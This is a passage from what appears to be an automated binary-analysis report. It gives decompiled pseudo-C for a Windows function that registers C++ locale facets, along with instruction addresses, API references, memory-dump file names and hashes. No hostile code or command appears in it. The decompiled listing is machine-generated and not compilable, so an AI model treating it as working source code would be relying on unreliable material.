																													E00ADAEB2();
																													return _t526;
																												} else {
																													__eflags = _t539;
																													if(_t539 == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E00ACB8B3(_t444, _t516, _t539) - 0xffffffff;
																														if(__eflags == 0) {
																															E00AC38B4( &_v32);
																															E00AF1677( &_v32, 0xb3dcf8);
																															asm("int3");
																															_push(0x14);
																															E00ADAEE9();
																															E00AC2F94( &_v20, 0);
																															_t540 =  *0xb45c94; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t540;
																															_t288 = E00AB1310(_t385, 0xb45c30, _t526, _t540);
																															_t451 = _a8;
																															_t527 = E00AC3FEF(_a8, _t288);
																															__eflags = _t527;
																															if(_t527 != 0) {
																																L68:
																																E00AC2FED( &_v20);
																																E00ADAEB2();
																																return _t527;
																															} else {
																																__eflags = _t540;
																																if(_t540 == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E00ACB92E(_t451, _t516) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E00AC38B4( &_v32);
																																		E00AF1677( &_v32, 0xb3dcf8);
																																		asm("int3");
																																		_push(0x14);
																																		E00ADAEE9();
																																		E00AC2F94( &_v20, 0);
																																		_t541 =  *0xb45c60; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t541;
																																		_t299 = E00AB1310(_t385, 0xb45c08, _t527, _t541);
																																		_t458 = _a8;
																																		_t528 = E00AC3FEF(_a8, _t299);
																																		__eflags = _t528;
																																		if(_t528 != 0) {
																																			L75:
																																			E00AC2FED( &_v20);
																																			E00ADAEB2();
																																			return _t528;
																																		} else {
																																			__eflags = _t541;
																																			if(_t541 == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E00ACB99A(_t458, _t516) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E00AC38B4( &_v32);
																																					E00AF1677( &_v32, 0xb3dcf8);
																																					asm("int3");
																																					_push(0x14);
																																					E00ADAEE9();
																																					E00AC2F94( &_v20, 0);
																																					_t542 =  *0xb45c98; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t542;
																																					_t310 = E00AB1310(_t385, 0xb45c34, _t528, _t542);
																																					_t465 = _a8;
																																					_t529 = E00AC3FEF(_a8, _t310);
																																					__eflags = _t529;
																																					if(_t529 != 0) {
																																						L82:
																																						E00AC2FED( &_v20);
																																						E00ADAEB2();
																																						return _t529;
																																					} else {
																																						__eflags = _t542;
																																						if(_t542 == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E00ACBA06(_t465, _t516) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E00AC38B4( &_v32);
																																								E00AF1677( &_v32, 0xb3dcf8);
																																								asm("int3");
																																								_push(0x14);
																																								E00ADAEE9();
																																								E00AC2F94( &_v20, 0);
																																								_t543 =  *0xb45c64; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t543;
																																								_t321 = E00AB1310(_t385, 0xb45be0, _t529, _t543);
																																								_t472 = _a8;
																																								_t530 = E00AC3FEF(_a8, _t321);
																																								__eflags = _t530;
																																								if(_t530 != 0) {
																																									L89:
																																									E00AC2FED( &_v20);
																																									E00ADAEB2();
																																									return _t530;
																																								} else {
																																									__eflags = _t543;
																																									if(_t543 == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E00ACBA6C(_t472, _t516) - 0xffffffff;
																																										if(__eflags == 0) {
																																											_t476 =  &_v32;
																																											E00AC38B4(_t476);
																																											E00AF1677( &_v32, 0xb3dcf8);
																																											asm("int3");
																																											_push(_t543);
																																											_t544 = _t476;
																																											_t184 = _t544 + 0x10;
																																											 *_t184 =  *(_t544 + 0x10) & 0x00000000;
																																											__eflags =  *_t184;
																																											 *((intOrPtr*)(_t544 + 0x14)) = 7;
																																											 *_t544 = 0;
																																											E00AD1A97(_v48);
																																											return _t544;
																																										} else {
																																											_t530 = _v16;
																																											_v16 = _t530;
																																											_v4 = 1;
																																											E00AC70E1(__eflags, _t530);
																																											 *0xb1531c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t530 + 4))))();
																																											 *0xb45c64 = _t530;
																																											goto L89;
																																										}
																																									} else {
																																										_t530 = _t543;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t529 = _v16;
																																								_v16 = _t529;
																																								_v4 = 1;
																																								E00AC70E1(__eflags, _t529);
																																								 *0xb1531c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t529 + 4))))();
																																								 *0xb45c98 = _t529;
																																								goto L82;
																																							}
																																						} else {
																																							_t529 = _t542;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t528 = _v16;
																																					_v16 = _t528;
																																					_v4 = 1;
																																					E00AC70E1(__eflags, _t528);
																																					 *0xb1531c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t528 + 4))))();
																																					 *0xb45c60 = _t528;
																																					goto L75;
																																				}
																																			} else {
																																				_t528 = _t541;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t527 = _v16;
																																		_v16 = _t527;
																																		_v4 = 1;
																																		E00AC70E1(__eflags, _t527);
																																		 *0xb1531c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t527 + 4))))();
																																		 *0xb45c94 = _t527;
																																		goto L68;
																																	}
																																} else {
																																	_t527 = _t540;
																																	goto L68;
																																}
																															}
																														} else {
																															_t526 = _v16;
																															_v16 = _t526;
																															_v4 = 1;
																															E00AC70E1(__eflags, _t526);
																															 *0xb1531c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t526 + 4))))();
																															 *0xb45c44 = _t526;
																															goto L61;
																														}
																													} else {
																														_t526 = _t539;
																														goto L61;
																													}
																												}
																											} else {
																												_t525 = _v16;
																												_v16 = _t525;
																												_v4 = 1;
																												E00AC70E1(__eflags, _t525);
																												 *0xb1531c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t525 + 4))))();
																												 *0xb45c78 = _t525;
																												goto L54;
																											}
																										} else {
																											_t525 = _t538;
																											goto L54;
																										}
																									}
																								} else {
																									_t524 = _v16;
																									_v16 = _t524;
																									_v4 = 1;
																									E00AC70E1(__eflags, _t524);
																									 *0xb1531c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t524 + 4))))();
																									 *0xb45c40 = _t524;
																									goto L47;
																								}
																							} else {
																								_t524 = _t537;
																								goto L47;
																							}
																						}
																					} else {
																						_t523 = _v16;
																						_v16 = _t523;
																						_v4 = 1;
																						E00AC70E1(__eflags, _t523);
																						 *0xb1531c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t523 + 4))))();
																						 *0xb45c74 = _t523;
																						goto L40;
																					}
																				} else {
																					_t523 = _t536;
																					goto L40;
																				}
																			}
																		} else {
																			_t522 = _v16;
																			_v16 = _t522;
																			_v4 = 1;
																			E00AC70E1(__eflags, _t522);
																			 *0xb1531c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t522 + 4))))();
																			 *0xb45c3c = _t522;
																			goto L33;
																		}
																	} else {
																		_t522 = _t535;
																		goto L33;
																	}
																}
															} else {
																_t521 = _v16;
																_v16 = _t521;
																_v4 = 1;
																E00AC70E1(__eflags, _t521);
																 *0xb1531c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t521 + 4))))();
																 *0xb45c70 = _t521;
																goto L26;
															}
														} else {
															_t521 = _t534;
															goto L26;
														}
													}
												} else {
													_t520 = _v16;
													_v16 = _t520;
													_v4 = 1;
													E00AC70E1(__eflags, _t520);
													 *0xb1531c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t520 + 4))))();
													 *0xb45c58 = _t520;
													goto L19;
												}
											} else {
												_t520 = _t533;
												goto L19;
											}
										}
									} else {
										_t519 = _v16;
										_v16 = _t519;
										_v4 = 1;
										E00AC70E1(__eflags, _t519);
										 *0xb1531c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t519 + 4))))();
										 *0xb45c5c = _t519;
										goto L12;
									}
								} else {
									_t519 = _t532;
									goto L12;
								}
							}
						} else {
							_t518 = _v16;
							_v16 = _t518;
							_v4 = 1;
							E00AC70E1(__eflags, _t518);
							 *0xb1531c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t518 + 4))))();
							 *0xb45c8c = _t518;
							goto L5;
						}
					} else {
						_t518 = _t531;
						goto L5;
					}
				}
			}

0x00ac9933
0x00ac9933
0x00ac993a
0x00ac9944
0x00ac9949
0x00ac9954
0x00ac9958
0x00ac995b
0x00ac9960
0x00ac9969
0x00ac996d
0x00ac99b2
0x00ac99b5
0x00ac99bc
0x00ac99c1
0x00ac996f
0x00ac9971
0x00ac9977
0x00ac997d
0x00ac9985
0x00ac9988
0x00ac99c5
0x00ac99d3
0x00ac99d8
0x00ac99d9
0x00ac99e0
0x00ac99ea
0x00ac99ef
0x00ac99fa
0x00ac99fe
0x00ac9a01
0x00ac9a06
0x00ac9a0f
0x00ac9a11
0x00ac9a13
0x00ac9a58
0x00ac9a5b
0x00ac9a62
0x00ac9a67
0x00ac9a15
0x00ac9a15
0x00ac9a17
0x00ac9a1d
0x00ac9a23
0x00ac9a2b
0x00ac9a2e
0x00ac9a6b
0x00ac9a79
0x00ac9a7e
0x00ac9a7f
0x00ac9a86
0x00ac9a90
0x00ac9a95
0x00ac9aa0
0x00ac9aa4
0x00ac9aa7
0x00ac9aac
0x00ac9ab5
0x00ac9ab7
0x00ac9ab9
0x00ac9afe
0x00ac9b01
0x00ac9b08
0x00ac9b0d
0x00ac9abb
0x00ac9abb
0x00ac9abd
0x00ac9ac3
0x00ac9ac9
0x00ac9ad1
0x00ac9ad4
0x00ac9b11
0x00ac9b1f
0x00ac9b24
0x00ac9b25
0x00ac9b2c
0x00ac9b36
0x00ac9b3b
0x00ac9b46
0x00ac9b4a
0x00ac9b4d
0x00ac9b52
0x00ac9b5b
0x00ac9b5d
0x00ac9b5f
0x00ac9ba4
0x00ac9ba7
0x00ac9bae
0x00ac9bb3
0x00ac9b61
0x00ac9b61
0x00ac9b63
0x00ac9b69
0x00ac9b6f
0x00ac9b77
0x00ac9b7a
0x00ac9bb7
0x00ac9bc5
0x00ac9bca
0x00ac9bcb
0x00ac9bd2
0x00ac9bdc
0x00ac9be1
0x00ac9bec
0x00ac9bf0
0x00ac9bf3
0x00ac9bf8
0x00ac9c01
0x00ac9c03
0x00ac9c05
0x00ac9c4a
0x00ac9c4d
0x00ac9c54
0x00ac9c59
0x00ac9c07
0x00ac9c07
0x00ac9c09
0x00ac9c0f
0x00ac9c15
0x00ac9c1d
0x00ac9c20
0x00ac9c5d
0x00ac9c6b
0x00ac9c70
0x00ac9c71
0x00ac9c78
0x00ac9c82
0x00ac9c87
0x00ac9c92
0x00ac9c96
0x00ac9c99
0x00ac9c9e
0x00ac9ca7
0x00ac9ca9
0x00ac9cab
0x00ac9cf0
0x00ac9cf3
0x00ac9cfa
0x00ac9cff
0x00ac9cad
0x00ac9cad
0x00ac9caf
0x00ac9cb5
0x00ac9cbb
0x00ac9cc3
0x00ac9cc6
0x00ac9d03
0x00ac9d11
0x00ac9d16
0x00ac9d17
0x00ac9d1e
0x00ac9d28
0x00ac9d2d
0x00ac9d38
0x00ac9d3c
0x00ac9d3f
0x00ac9d44
0x00ac9d4d
0x00ac9d4f
0x00ac9d51
0x00ac9d96
0x00ac9d99
0x00ac9da0
0x00ac9da5
0x00ac9d53
0x00ac9d53
0x00ac9d55
0x00ac9d5b
0x00ac9d61
0x00ac9d69
0x00ac9d6c
0x00ac9da9
0x00ac9db7
0x00ac9dbc
0x00ac9dbd
0x00ac9dc4
0x00ac9dce
0x00ac9dd3
0x00ac9dde
0x00ac9de2
0x00ac9de5
0x00ac9dea
0x00ac9df3
0x00ac9df5
0x00ac9df7
0x00ac9e3c
0x00ac9e3f
0x00ac9e46
0x00ac9e4b
0x00ac9df9
0x00ac9df9
0x00ac9dfb
0x00ac9e01
0x00ac9e07
0x00ac9e0f
0x00ac9e12
0x00ac9e4f
0x00ac9e5d
0x00ac9e62
0x00ac9e63
0x00ac9e6a
0x00ac9e74
0x00ac9e79
0x00ac9e84
0x00ac9e88
0x00ac9e8b
0x00ac9e90
0x00ac9e99
0x00ac9e9b
0x00ac9e9d
0x00ac9ee2
0x00ac9ee5
0x00ac9eec
0x00ac9ef1
0x00ac9e9f
0x00ac9e9f
0x00ac9ea1
0x00ac9ea7
0x00ac9ead
0x00ac9eb5
0x00ac9eb8
0x00ac9ef5
0x00ac9f03
0x00ac9f08
0x00ac9f09
0x00ac9f10
0x00ac9f1a
0x00ac9f1f
0x00ac9f2a
0x00ac9f2e
0x00ac9f31
0x00ac9f36
0x00ac9f3f
0x00ac9f41
0x00ac9f43
0x00ac9f88
0x00ac9f8b
0x00ac9f92
0x00ac9f97
0x00ac9f45
0x00ac9f45
0x00ac9f47
0x00ac9f4d
0x00ac9f53
0x00ac9f5b
0x00ac9f5e
0x00ac9f9b
0x00ac9fa9
0x00ac9fae
0x00ac9faf
0x00ac9fb6
0x00ac9fc0
0x00ac9fc5
0x00ac9fd0
0x00ac9fd4
0x00ac9fd7
0x00ac9fdc
0x00ac9fe5
0x00ac9fe7
0x00ac9fe9
0x00aca02e
0x00aca031
0x00aca038
0x00aca03d
0x00ac9feb
0x00ac9feb
0x00ac9fed
0x00ac9ff3
0x00ac9ff9
0x00aca001
0x00aca004
0x00aca041
0x00aca04f
0x00aca054
0x00aca055
0x00aca05c
0x00aca066
0x00aca06b
0x00aca076
0x00aca07a
0x00aca07d
0x00aca082
0x00aca08b
0x00aca08d
0x00aca08f
0x00aca0d4
0x00aca0d7
0x00aca0de
0x00aca0e3
0x00aca091
0x00aca091
0x00aca093
0x00aca099
0x00aca09f
0x00aca0a7
0x00aca0aa
0x00aca0e7
0x00aca0f5
0x00aca0fa
0x00aca0fb
0x00aca102
0x00aca10c
0x00aca111
0x00aca11c
0x00aca120
0x00aca123
0x00aca128
0x00aca131
0x00aca133
0x00aca135
0x00aca17a
0x00aca17d
0x00aca184
0x00aca189
0x00aca137
0x00aca137
0x00aca139
0x00aca13f
0x00aca145
0x00aca14d
0x00aca150
0x00aca18a
0x00aca18d
0x00aca19b
0x00aca1a0
0x00aca1a4
0x00aca1a8
0x00aca1ac
0x00aca1ac
0x00aca1ac
0x00aca1b0
0x00aca1b7
0x00aca1ba
0x00aca1c3
0x00aca152
0x00aca152
0x00aca155
0x00aca159
0x00aca15d
0x00aca16a
0x00aca172
0x00aca174
0x00000000
0x00aca174
0x00aca13b
0x00aca13b
0x00000000
0x00aca13b
0x00aca139
0x00aca0ac
0x00aca0ac
0x00aca0af
0x00aca0b3
0x00aca0b7
0x00aca0c4
0x00aca0cc
0x00aca0ce
0x00000000
0x00aca0ce
0x00aca095
0x00aca095
0x00000000
0x00aca095
0x00aca093
0x00aca006
0x00aca006
0x00aca009
0x00aca00d
0x00aca011
0x00aca01e
0x00aca026
0x00aca028
0x00000000
0x00aca028
0x00ac9fef
0x00ac9fef
0x00000000
0x00ac9fef
0x00ac9fed
0x00ac9f60
0x00ac9f60
0x00ac9f63
0x00ac9f67
0x00ac9f6b
0x00ac9f78
0x00ac9f80
0x00ac9f82
0x00000000
0x00ac9f82
0x00ac9f49
0x00ac9f49
0x00000000
0x00ac9f49
0x00ac9f47
0x00ac9eba
0x00ac9eba
0x00ac9ebd
0x00ac9ec1
0x00ac9ec5
0x00ac9ed2
0x00ac9eda
0x00ac9edc
0x00000000
0x00ac9edc
0x00ac9ea3
0x00ac9ea3
0x00000000
0x00ac9ea3
0x00ac9ea1
0x00ac9e14
0x00ac9e14
0x00ac9e17
0x00ac9e1b
0x00ac9e1f
0x00ac9e2c
0x00ac9e34
0x00ac9e36
0x00000000
0x00ac9e36
0x00ac9dfd
0x00ac9dfd
0x00000000
0x00ac9dfd
0x00ac9dfb
0x00ac9d6e
0x00ac9d6e
0x00ac9d71
0x00ac9d75
0x00ac9d79
0x00ac9d86
0x00ac9d8e
0x00ac9d90
0x00000000
0x00ac9d90
0x00ac9d57
0x00ac9d57
0x00000000
0x00ac9d57
0x00ac9d55
0x00ac9cc8
0x00ac9cc8
0x00ac9ccb
0x00ac9ccf
0x00ac9cd3
0x00ac9ce0
0x00ac9ce8
0x00ac9cea
0x00000000
0x00ac9cea
0x00ac9cb1
0x00ac9cb1
0x00000000
0x00ac9cb1
0x00ac9caf
0x00ac9c22
0x00ac9c22
0x00ac9c25
0x00ac9c29
0x00ac9c2d
0x00ac9c3a
0x00ac9c42
0x00ac9c44
0x00000000
0x00ac9c44
0x00ac9c0b
0x00ac9c0b
0x00000000
0x00ac9c0b
0x00ac9c09
0x00ac9b7c
0x00ac9b7c
0x00ac9b7f
0x00ac9b83
0x00ac9b87
0x00ac9b94
0x00ac9b9c
0x00ac9b9e
0x00000000
0x00ac9b9e
0x00ac9b65
0x00ac9b65
0x00000000
0x00ac9b65
0x00ac9b63
0x00ac9ad6
0x00ac9ad6
0x00ac9ad9
0x00ac9add
0x00ac9ae1
0x00ac9aee
0x00ac9af6
0x00ac9af8
0x00000000
0x00ac9af8
0x00ac9abf
0x00ac9abf
0x00000000
0x00ac9abf
0x00ac9abd
0x00ac9a30
0x00ac9a30
0x00ac9a33
0x00ac9a37
0x00ac9a3b
0x00ac9a48
0x00ac9a50
0x00ac9a52
0x00000000
0x00ac9a52
0x00ac9a19
0x00ac9a19
0x00000000
0x00ac9a19
0x00ac9a17
0x00ac998a
0x00ac998a
0x00ac998d
0x00ac9991
0x00ac9995
0x00ac99a2
0x00ac99aa
0x00ac99ac
0x00000000
0x00ac99ac
0x00ac9973
0x00ac9973
0x00000000
0x00ac9973
0x00ac9971

APIs

__EH_prolog3.LIBCMT ref: 00AC993A
std::_Lockit::_Lockit.LIBCPMT ref: 00AC9944

Part of subcall function 00AB1310: std::_Lockit::_Lockit.LIBCPMT ref: 00AB1330
Part of subcall function 00AB1310: std::_Lockit::~_Lockit.LIBCPMT ref: 00AB135A

std::locale::_Getfacet.LIBCPMT ref: 00AC9964
moneypunct.LIBCPMT ref: 00AC997E
std::_Facet_Register.LIBCPMT ref: 00AC9995
std::_Lockit::~_Lockit.LIBCPMT ref: 00AC99B5
__CxxThrowException@8.LIBVCRUNTIME ref: 00AC99D3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowmoneypunctstd::locale::_
String ID:
API String ID: 2429134193-0
Opcode ID: b76f25bec8325478ebc74b20ee683c12541776cc9417488d693cb7da2de87344
Instruction ID: e387ed134eb617a10bcebab8cc87dfc413cc29b7d9ac9a84b595db72eb5065da
Opcode Fuzzy Hash: b76f25bec8325478ebc74b20ee683c12541776cc9417488d693cb7da2de87344
Instruction Fuzzy Hash: 6C11E0369006188BCF10EBA4C946FEEB3B4BF84310F16440DF8126B2A2DF749E04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AC9A7F, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00AC9A7F(void* __edx, void* __eflags, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				char _v32;
				intOrPtr _v40;
				void* _t161;
				void* _t172;
				void* _t183;
				void* _t194;
				void* _t205;
				void* _t216;
				void* _t227;
				void* _t238;
				void* _t249;
				void* _t260;
				void* _t271;
				void* _t327;
				short* _t404;
				void* _t438;
				void* _t439;
				signed int _t440;
				signed int _t441;
				signed int _t442;
				signed int _t443;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int _t451;
				signed int _t452;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				signed int _t461;
				short* _t462;

				_t438 = __edx;
				_push(0x14);
				E00ADAEE9();
				E00AC2F94( &_v20, 0);
				_t451 =  *0xb45c58; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t451;
				_t161 = E00AB1310(_t327, 0xb45c00, _t439, _t451);
				_t330 = _a8;
				_t440 = E00AC3FEF(_a8, _t161);
				if(_t440 != 0) {
					L5:
					E00AC2FED( &_v20);
					E00ADAEB2();
					return _t440;
				} else {
					if(_t451 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E00ACB613(_t330, _t438, _t451) - 0xffffffff;
						if(__eflags == 0) {
							E00AC38B4( &_v32);
							E00AF1677( &_v32, 0xb3dcf8);
							asm("int3");
							_push(0x14);
							E00ADAEE9();
							E00AC2F94( &_v20, 0);
							_t452 =  *0xb45c70; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t452;
							_t172 = E00AB1310(_t327, 0xb45c0c, _t440, _t452);
							_t337 = _a8;
							_t441 = E00AC3FEF(_a8, _t172);
							__eflags = _t441;
							if(_t441 != 0) {
								L12:
								E00AC2FED( &_v20);
								E00ADAEB2();
								return _t441;
							} else {
								__eflags = _t452;
								if(_t452 == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E00ACB698(_t337, _t438, _t452) - 0xffffffff;
									if(__eflags == 0) {
										E00AC38B4( &_v32);
										E00AF1677( &_v32, 0xb3dcf8);
										asm("int3");
										_push(0x14);
										E00ADAEE9();
										E00AC2F94( &_v20, 0);
										_t453 =  *0xb45c3c; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t453;
										_t183 = E00AB1310(_t327, 0xb45be4, _t441, _t453);
										_t344 = _a8;
										_t442 = E00AC3FEF(_a8, _t183);
										__eflags = _t442;
										if(_t442 != 0) {
											L19:
											E00AC2FED( &_v20);
											E00ADAEB2();
											return _t442;
										} else {
											__eflags = _t453;
											if(_t453 == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E00ACB700(_t344, _t438, _t453) - 0xffffffff;
												if(__eflags == 0) {
													E00AC38B4( &_v32);
													E00AF1677( &_v32, 0xb3dcf8);
													asm("int3");
													_push(0x14);
													E00ADAEE9();
													E00AC2F94( &_v20, 0);
													_t454 =  *0xb45c74; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t454;
													_t194 = E00AB1310(_t327, 0xb45c10, _t442, _t454);
													_t351 = _a8;
													_t443 = E00AC3FEF(_a8, _t194);
													__eflags = _t443;
													if(_t443 != 0) {
														L26:
														E00AC2FED( &_v20);
														E00ADAEB2();
														return _t443;
													} else {
														__eflags = _t454;
														if(_t454 == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E00ACB768(_t351, _t438, _t454) - 0xffffffff;
															if(__eflags == 0) {
																E00AC38B4( &_v32);
																E00AF1677( &_v32, 0xb3dcf8);
																asm("int3");
																_push(0x14);
																E00ADAEE9();
																E00AC2F94( &_v20, 0);
																_t455 =  *0xb45c40; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t455;
																_t205 = E00AB1310(_t327, 0xb45be8, _t443, _t455);
																_t358 = _a8;
																_t444 = E00AC3FEF(_a8, _t205);
																__eflags = _t444;
																if(_t444 != 0) {
																	L33:
																	E00AC2FED( &_v20);
																	E00ADAEB2();
																	return _t444;
																} else {
																	__eflags = _t455;
																	if(_t455 == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E00ACB7D0(_t358, _t438, _t455) - 0xffffffff;
																		if(__eflags == 0) {
																			E00AC38B4( &_v32);
																			E00AF1677( &_v32, 0xb3dcf8);
																			asm("int3");
																			_push(0x14);
																			E00ADAEE9();
																			E00AC2F94( &_v20, 0);
																			_t456 =  *0xb45c78; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t456;
																			_t216 = E00AB1310(_t327, 0xb45c14, _t444, _t456);
																			_t365 = _a8;
																			_t445 = E00AC3FEF(_a8, _t216);
																			__eflags = _t445;
																			if(_t445 != 0) {
																				L40:
																				E00AC2FED( &_v20);
																				E00ADAEB2();
																				return _t445;
																			} else {
																				__eflags = _t456;
																				if(_t456 == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E00ACB838(_t365, _t438, _t456) - 0xffffffff;
																					if(__eflags == 0) {
																						E00AC38B4( &_v32);
																						E00AF1677( &_v32, 0xb3dcf8);
																						asm("int3");
																						_push(0x14);
																						E00ADAEE9();
																						E00AC2F94( &_v20, 0);
																						_t457 =  *0xb45c44; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t457;
																						_t227 = E00AB1310(_t327, 0xb45bec, _t445, _t457);
																						_t372 = _a8;
																						_t446 = E00AC3FEF(_a8, _t227);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							L47:
																							E00AC2FED( &_v20);
																							E00ADAEB2();
																							return _t446;
																						} else {
																							__eflags = _t457;
																							if(_t457 == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E00ACB8B3(_t372, _t438, _t457) - 0xffffffff;
																								if(__eflags == 0) {
																									E00AC38B4( &_v32);
																									E00AF1677( &_v32, 0xb3dcf8);
																									asm("int3");
																									_push(0x14);
																									E00ADAEE9();
																									E00AC2F94( &_v20, 0);
																									_t458 =  *0xb45c94; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t458;
																									_t238 = E00AB1310(_t327, 0xb45c30, _t446, _t458);
																									_t379 = _a8;
																									_t447 = E00AC3FEF(_a8, _t238);
																									__eflags = _t447;
																									if(_t447 != 0) {
																										L54:
																										E00AC2FED( &_v20);
																										E00ADAEB2();
																										return _t447;
																									} else {
																										__eflags = _t458;
																										if(_t458 == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E00ACB92E(_t379, _t438) - 0xffffffff;
																											if(__eflags == 0) {
																												E00AC38B4( &_v32);
																												E00AF1677( &_v32, 0xb3dcf8);
																												asm("int3");
																												_push(0x14);
																												E00ADAEE9();
																												E00AC2F94( &_v20, 0);
																												_t459 =  *0xb45c60; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t459;
																												_t249 = E00AB1310(_t327, 0xb45c08, _t447, _t459);
																												_t386 = _a8;
																												_t448 = E00AC3FEF(_a8, _t249);
																												__eflags = _t448;
																												if(_t448 != 0) {
																													L61:
																													E00AC2FED( &_v20);
																													E00ADAEB2();
																													return _t448;
																												} else {
																													__eflags = _t459;
																													if(_t459 == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E00ACB99A(_t386, _t438) - 0xffffffff;
																														if(__eflags == 0) {
																															E00AC38B4( &_v32);
																															E00AF1677( &_v32, 0xb3dcf8);
																															asm("int3");
																															_push(0x14);
																															E00ADAEE9();
																															E00AC2F94( &_v20, 0);
																															_t460 =  *0xb45c98; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t460;
																															_t260 = E00AB1310(_t327, 0xb45c34, _t448, _t460);
																															_t393 = _a8;
																															_t449 = E00AC3FEF(_a8, _t260);
																															__eflags = _t449;
																															if(_t449 != 0) {
																																L68:
																																E00AC2FED( &_v20);
																																E00ADAEB2();
																																return _t449;
																															} else {
																																__eflags = _t460;
																																if(_t460 == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E00ACBA06(_t393, _t438) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E00AC38B4( &_v32);
																																		E00AF1677( &_v32, 0xb3dcf8);
																																		asm("int3");
																																		_push(0x14);
																																		E00ADAEE9();
																																		E00AC2F94( &_v20, 0);
																																		_t461 =  *0xb45c64; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t461;
																																		_t271 = E00AB1310(_t327, 0xb45be0, _t449, _t461);
																																		_t400 = _a8;
																																		_t450 = E00AC3FEF(_a8, _t271);
																																		__eflags = _t450;
																																		if(_t450 != 0) {
																																			L75:
																																			E00AC2FED( &_v20);
																																			E00ADAEB2();
																																			return _t450;
																																		} else {
																																			__eflags = _t461;
																																			if(_t461 == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E00ACBA6C(_t400, _t438) - 0xffffffff;
																																				if(__eflags == 0) {
																																					_t404 =  &_v32;
																																					E00AC38B4(_t404);
																																					E00AF1677( &_v32, 0xb3dcf8);
																																					asm("int3");
																																					_push(_t461);
																																					_t462 = _t404;
																																					_t156 = _t462 + 0x10;
																																					 *_t156 =  *(_t462 + 0x10) & 0x00000000;
																																					__eflags =  *_t156;
																																					 *((intOrPtr*)(_t462 + 0x14)) = 7;
																																					 *_t462 = 0;
																																					E00AD1A97(_v40);
																																					return _t462;
																																				} else {
																																					_t450 = _v16;
																																					_v16 = _t450;
																																					_v4 = 1;
																																					E00AC70E1(__eflags, _t450);
																																					 *0xb1531c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t450 + 4))))();
																																					 *0xb45c64 = _t450;
																																					goto L75;
																																				}
																																			} else {
																																				_t450 = _t461;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t449 = _v16;
																																		_v16 = _t449;
																																		_v4 = 1;
																																		E00AC70E1(__eflags, _t449);
																																		 *0xb1531c();
